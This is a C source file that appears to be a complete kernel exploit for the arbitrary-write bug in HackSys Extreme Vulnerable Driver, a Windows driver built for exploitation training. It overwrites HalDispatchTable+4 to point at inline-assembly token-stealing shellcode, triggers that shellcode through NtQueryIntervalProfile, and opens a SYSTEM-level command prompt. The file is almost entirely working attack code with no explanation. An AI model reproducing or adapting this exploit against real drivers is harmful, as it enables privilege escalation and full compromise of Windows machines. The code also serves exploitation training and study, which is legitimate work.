1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
| #include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
LPVOID GetntkrnlpaKernelBase(){
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
GetDeviceDriverBaseNameA(lpImageBase[i], (LPSTR)lpfileName, 48);
if (!strcmp((char *)lpfileName, "ntkrnlpa.exe"))
{
printf("[+] Success to get %s\n", (char *)lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
PVOID GetHalDispatchTable() {
LPVOID ntkrnlpaKernelBase = GetntkrnlpaKernelBase();
if (!ntkrnlpaKernelBase) {
wprintf(L"[-] Failed to get ntkrnlpaKernelBase\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get ntkrnlpaKernelBase: 0x%p\n",ntkrnlpaKernelBase);
}
HMODULE ntkrnlpaUserBase = NULL;
ntkrnlpaUserBase = LoadLibraryA("ntkrnlpa.exe");
if (!ntkrnlpaUserBase) {
wprintf(L"[-] Failed to get ntkrnlpaUserBase\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get ntkrnlpaUserBase: 0x%p\n", ntkrnlpaUserBase);
}
PVOID halDispatchTableUserAddress = NULL;
halDispatchTableUserAddress = GetProcAddress(ntkrnlpaUserBase, "HalDispatchTable");
if (!halDispatchTableUserAddress) {
wprintf(L"[-] Failed to get halDispatchTableUserAddress\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get halDispatchTableUserAddress: 0x%p\n", halDispatchTableUserAddress);
PVOID halDispatchTable = (PVOID)((ULONG_PTR)ntkrnlpaKernelBase + ((ULONG_PTR)halDispatchTableUserAddress - (ULONG_PTR)ntkrnlpaUserBase));
return halDispatchTable;
}
return NULL;
}
HANDLE OpenDriver() {
HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hevd == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open hevd\n");
exit(-1);
}
else {
wprintf(L"[+] Success to open hevd\n");
}
return hevd;
}
VOID ShellCode()
{
_asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h]
mov eax, [eax + 0x50]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0xb8]
sub eax, 0xb8
cmp[eax + 0xb4], edx
jnz find_sys_pid
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
VOID Trigger(DWORD32 where, DWORD32 what, HANDLE hevd)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;
exploit.Where = (PULONG_PTR)where;
exploit.What = (PULONG_PTR)& what;
DeviceIoControl(hevd,
0x22200B,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);
}
int main() {
HANDLE hevd = OpenDriver();
PVOID HalDispatchTable = NULL;
HalDispatchTable = GetHalDispatchTable();
if (!HalDispatchTable) {
wprintf(L"[-] Failed to get HalDispatchTable\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get HalDispatchTable:0x%p\n",HalDispatchTable);
}
PVOID HalDispatchTablePlus4 = NULL;
HalDispatchTablePlus4 = (PVOID)((ULONG_PTR)HalDispatchTable + sizeof(PVOID));
wprintf(L"[+] Success to get HalDispatchTable+4:0x%p\n",HalDispatchTablePlus4);
Trigger((DWORD32)HalDispatchTablePlus4,(DWORD32)& ShellCode,hevd);
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
ULONG interVal;
NtQueryIntervalProfile(0x1337, &interVal);
printf("[+]Start to Create cmd...\n");
system("cmd.exe");
return 0;
}
|
